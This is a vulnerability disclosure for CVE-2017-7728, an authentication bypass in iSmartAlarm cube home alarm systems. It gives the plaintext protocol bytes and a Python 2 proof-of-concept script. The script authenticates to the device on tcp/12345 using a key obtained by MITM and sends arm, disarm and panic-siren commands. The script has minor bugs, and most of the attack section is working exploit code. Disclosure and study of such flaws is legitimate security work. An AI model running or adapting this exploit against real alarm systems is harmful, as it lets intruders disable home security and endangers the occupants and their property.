iSmartAlarm, inc.
iSmartAlarm cube - All
iSmartAlarm is one of the leading IoT manufactures in the domain of smart alarm systems.
It provides a fully integrated alarm system with siren, smart cameras and locks.
It functions like any alarm system, but with the benefits of a connected device: alerts pop up on your phone,
offering you full remote control via mobile app wherever you are.
Authentication Bypass
CVE-2017-7728
On iSmartAlarm cube devices, there is an authentication bypass.
The vulnerability can lead to remote execution of alarm’s commands; setting the alarm on/off and activating the alarm
siren.
App ISAT\x01\x00*3\x01\x00*7
Cube ISAT\x02\x00*3\x01\x00*3\x10\x00*3 + "Cube generated Secret Key"
App ISAT\x03\x00*3\x01\x00*3\x10\x00*3 + "new key"
Cube ISAT\x04\x00*3\x01\x00*3\x01\x00*3\x01
ISATP\x00*3\x01\x00*3\x03\x00*3\x01\x002
Arming the alarm "Arm mode":
ISATP\x00*3\x01\x00*3\x03\x00*3\x01\x000
Activate alarm's siren "Panic mode":
ISATP\x00*3\x01\x00*3\x03\x00*3\x01\x003
After authentication, using the above protocol will allow full control of the alarm.
When iSmartAlarm’s mobile app connected to the same network as the iSmartAlarm’s cube,
their authentication and then communication are made on port tcp/12345 in PLAIN TEXT.
Obtaining encryption key is done by using CVE-2017-7726. After setting the MITM
a POST request is made to the following api:
https://api.ismartalarm.com:8443/api/GetIpuEnr.ashx
From there an attacker can obtain the encryption key.
After obtaining the encryption key, using the above protocol will allow an
attacker a full control over the alarm system.
#!/usr/bin/python
# auther: Ilia Shnaidman
# @0x496c on Twitter
# python27
import socket
import struct
# - - - - - - -
ISMART_SYN = 'ISAT\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
ISMART_SYN_ACK = 'ISAT\x02\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00'
ISMART_ACK_PREFIX = 'ISAT\x03\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00'
ISMART_SUCCESS_ACK = 'ISAT\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01'
ISMART_ALARM_DISARM = 'ISATP\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x002'
ISMART_ALARM_DISARM_ACK = 'ISATQ\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00200'
ISMART_ALARM_ARM = 'ISATP\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x000'
ISMART_ALARM_ARM_ACK = 'ISATQ\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00000'
ISMART_ALARM_PANIC = 'ISATP\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x003'
ISMART_ALARM_PANIC_ACK = 'ISATQ\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00300'
DELTA = 0x9e3779b9
IP = '1.2.3.4'
ISMART_PORT = 12345
# retrieve ismartalarm key using CVE-2017-7726,
# and search for /GetIpu.ashx api
ISMART_KEY = ""
MTU = 1450
# - - - - - - -
def decrypt_in_place(data,key):
#data_out = [0,0,0,0]
key_u = struct.unpack('>IIII', key)
data_u = struct.unpack('>IIII', data)
data_u = [i for i in data_u]
if len(key_u) != 4:
return None
if len(data_u) != 4:
return None
y = data_u[0]
sum = (6 + (52/4)) * DELTA
l = 4
for i in xrange(19):
e = (sum >> 2) & 3
for p in xrange(3,0,-1):
z = data_u[p-1]
y = (data_u[p] - ((((z>>5^(y<<2&0xffffffff)) + (y>>3^(z<<4&0xffffffff))) ^ (((sum^y)&0xffffffff) +
(key_u[(p&3)^e]^z)))&0xffffffff))&0xffffffff
data_u[p] = y
z = data_u[l-1]
y = (data_u[0] - ((((z>>5^(y<<2&0xffffffff)) + (y>>3^(z<<4&0xffffffff))) ^ (((sum^y)&0xffffffff) +
(key_u[(0&3)^e]^z)))&0xffffffff))&0xffffffff
data_u[0] = y
sum = sum - DELTA
return data_u
def revarr(arr):
n_arr = [0]*16
for i in xrange(4):
n_arr[i] = arr[3-i]
n_arr[i+4] = arr[7-i]
n_arr[i+8] = arr[11-i]
n_arr[i+12] = arr[15-i]
return "".join(n_arr)
def ismartalarm_connection():
ismart_so = socket.socket()
ismart_so.settimeout(5)
ismart_so.connect((IP, ISMART_PORT))
ismart_so.send(ISMART_SYN)
so_recv = ismart_so.recv(MTU)
if ISMART_SYN_ACK == so_recv[:16]:
ismart_secret = so_recv[16:]
key = ISMART_KEY
data_dec = decrypt_in_place(revarr(ismart_secret), revarr(key))
data_dec_rev = revarr("".join(["{0:0{1}x}".format(i,8) for i in data_dec]).decode("hex"))
ismart_so.send("%s%s" % (ISMART_ACK_PREFIX, data_dec_rev))
so_recv = self.ismart_so.recv(MTU)
if ISMART_SUCCESS_ACK == so_recv:
# We are authenticated
return ismart_so
return False
def ismart_commands(command):
# Get authenticated connection to ismartalarm
ismart_so = ismartalarm_connection()
if not ismart_so:
# we failed to authenticate
return False
if not command:
return False
if "arm" is command:
print "[+] Sending arm command"
ismart_so.send(ISMART_ALARM_ARM)
so_recv = ismart_so.recv(MTU)
if ISMART_ALARM_ARM_ACK == so_recv:
print "[!] Success! iSmart Alarm system is ARMED!"
elif "disarm" is command:
print "[+] Sending disarm command"
ismart_so.send(ISMART_ALARM_DISARM)
so_recv = ismart_so.recv(MTU)
if ISMART_ALARM_DISARM_ACK == so_recv:
print "[!] Success! iSmartAlarm system is disarmed!"
elif "panic" is command:
print "[+] Sending panic command, close your ears :)"
ismart_so.send(ISMART_ALARM_PANIC)
so_recv = ismart_so.recv(MTU)
if ISMART_ALARM_PANIC_ACK == so_recv:
print "[!] Success! iSmartAlarm system is in panic mode!"
return True